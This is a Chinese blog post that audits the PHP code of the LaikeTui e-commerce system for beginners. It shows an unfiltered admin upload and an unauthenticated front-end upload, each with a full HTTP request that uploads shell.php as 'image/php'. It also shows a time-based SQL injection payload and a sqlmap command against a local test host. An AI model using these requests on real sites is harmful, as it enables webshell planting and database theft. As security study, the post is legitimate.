非常入门级别的php代码审计
也是来自我以前在xz看到的文章,然后里面说了几个洞
https://xz.aliyun.com/news/13473 官网 https://www.laiketui.com/
简单看看开发文档。 https://www.laiketui.com/docs/open 然后知道其大致的mvc对应的代码在哪里。还有这个filter在哪里写和怎么写的就可以开始了。
后台webshell上传
随便找一个文件上传的地方。根据请求找到对应的代码位置。
/LKT/index.php?module=system&action=uploadImg&dir=image
LKT/webapp/modules/system/actions/uploadImgAction.class.php
然后发现文件后缀没有做任何过滤。而且文件的后缀是根据$_FILES['imgFile']['type']
来的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| $db = DBAction::getInstance();
$sql = "select * from lkt_config where 1=1 "; $r = $db->select($sql); $uploadImg = $r[0]->uploadImg;
if(empty($uploadImg)){ $uploadImg = "../LKT/images"; } if(is_dir($uploadImg) == ''){ mkdir($uploadImg); } $error = $_FILES['imgFile']['error']; switch($_FILES['imgFile']['error']){ case 0: $msg = ''; break; case 1: $msg = '超出了php.ini中文件大小'; break; case 2: $msg = '超出了MAX_FILE_SIZE的文件大小'; break; case 3: $msg = '文件被部分上传'; break; case 4: $msg = '没有文件上传'; break; case 5: $msg = '文件大小为0'; break; default: $msg = '上传失败'; break; }
$imgURL=($_FILES['imgFile']['tmp_name']); $type = str_replace('image/', '.', $_FILES['imgFile']['type']); $imgURL_name=time().mt_rand(1,1000).$type; move_uploaded_file($imgURL,$uploadImg.$imgURL_name); $image = $uploadImg . $imgURL_name; echo json_encode(array("error"=>$error,"url"=>$image,'message'=>$msg));
|
直接绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST /LKT/index.php?module=system&action=uploadImg&dir=image HTTP/1.1 Host: laike.learn Content-Length: 337 Cache-Control: max-age=0 Origin: http://laike.learn Content-Type: multipart/form-data Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 Accept: text/html,application/xhtml+xml,application/xml Referer: http://laike.learn/LKT/index.php?module=product_class&action=add Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh Cookie: admin_mojavi=rj15v5a51vt4uak13nmn10o5qu Connection: keep-alive
------WebKitFormBoundary8w9SqIcQBkGu5tb3 Content-Disposition: form-data
C:\fakepath\shell.php ------WebKitFormBoundary8w9SqIcQBkGu5tb3 Content-Disposition: form-data Content-Type: image/php
<?php echo "aaaa" ------WebKitFormBoundary8w9SqIcQBkGu5tb3--
|
python的话大概要这么写。
files = {'imgFile': ("shell.php", shell,'image/php')}
前台shell上传
当我们删除cookie的时候。会发现这个功能点是没有权限的。后来发现这个filter会对我们session进行检查。
LKT/webapp/filter/LoginFilter.class.php
public $candirect = array("Default","Login","api","api_news","app") ;
这个是白名单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php require_once(MO_LIB_DIR . '/DBAction.class.php'); class LoginFilter extends Filter {
public $effect; public $candirect = array("Default","Login","api","api_news","app") ;
public function execute ($filterChain) { if($this->effect == false){ $filterChain->execute(); return; }
$controller = $this->getContext()->getController(); $request = $this->getContext()->getRequest(); $actionstack = $controller->getActionStack(); $first = $actionstack->getFirstEntry(); $firstmodule = $first->getModuleName(); if(in_array($firstmodule,$this->candirect)){ $filterChain->execute(); } else { if($this->getContext()->getUser()->isAuthenticated()){ $name = $this->getContext()->getStorage()->read('admin_id');
|
然后去白名单里面看看有没有一些可以利用的点。
LKT/webapp/modules/api/actions/userAction.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public function upload(){ $sql = "select * from lkt_config where id = '1'"; $r = lkt_gets($sql); if ($r) { $uploadImg = $r[0]->uploadImg; if (empty($uploadImg)) { $uploadImg = "../LKT/images"; } } else { $uploadImg = "../LKT/images"; }
$imgURL = ($_FILES['file']['tmp_name']); $type = str_replace('image/', '.', $_FILES['file']['type']); $imgURL_name = time() . mt_rand(1, 1000) . $type; move_uploaded_file($imgURL, $uploadImg . $imgURL_name); echo $imgURL_name; }
|
poc
改一下路由就好。记得name=”file” 也要改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST /LKT/index.php?module=api&action=user&m=upload HTTP/1.1 Host: laike.learn Content-Length: 334 Cache-Control: max-age=0 Origin: http: Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8w9SqIcQBkGu5tb3 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
|
前台sql注入
LKT/webapp/modules/api/actions/orderAction.class.php
可惜的是这个地方都做了addslashes。这个只能在特定场合下绕过。如果没有的话是可以进行盲注的。
1 2 3 4 5 6 7 8 9 10 11
| public function ReturnData() { $request = $this->getContext()->getRequest(); $id = addslashes($_POST['id']);
$oid = addslashes($_POST['oid']); $otype = addslashes($_POST['otype']); $re_type = addslashes(trim($request->getParameter('re_type'))); $back_remark = htmlentities($_POST['back_remark']); $res = lkt_gets("select * from lkt_order_details where id = '$id'");
|
1 2 3 4 5 6 7 8 9 10 11 12
| POST /LKT/index.php?module=api&action=order&m=ReturnData HTTP/1.1 Host: laike.learn Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 Accept: text/html,application/xhtml+xml,application/xml Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 127
id=1'+union+SELECT+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,If(1,Sleep(3),0)#&oid=1&otype=1&re_type=1&back_remark=1
|
1
| `python sqlmap.py -u "http://laike.learn/index.php?module=api&action=order&m=ReturnData" -data "id=1&oid=1&otype=1&re_type=1&back_remark=1" -p back_remark -dbs -batch`
|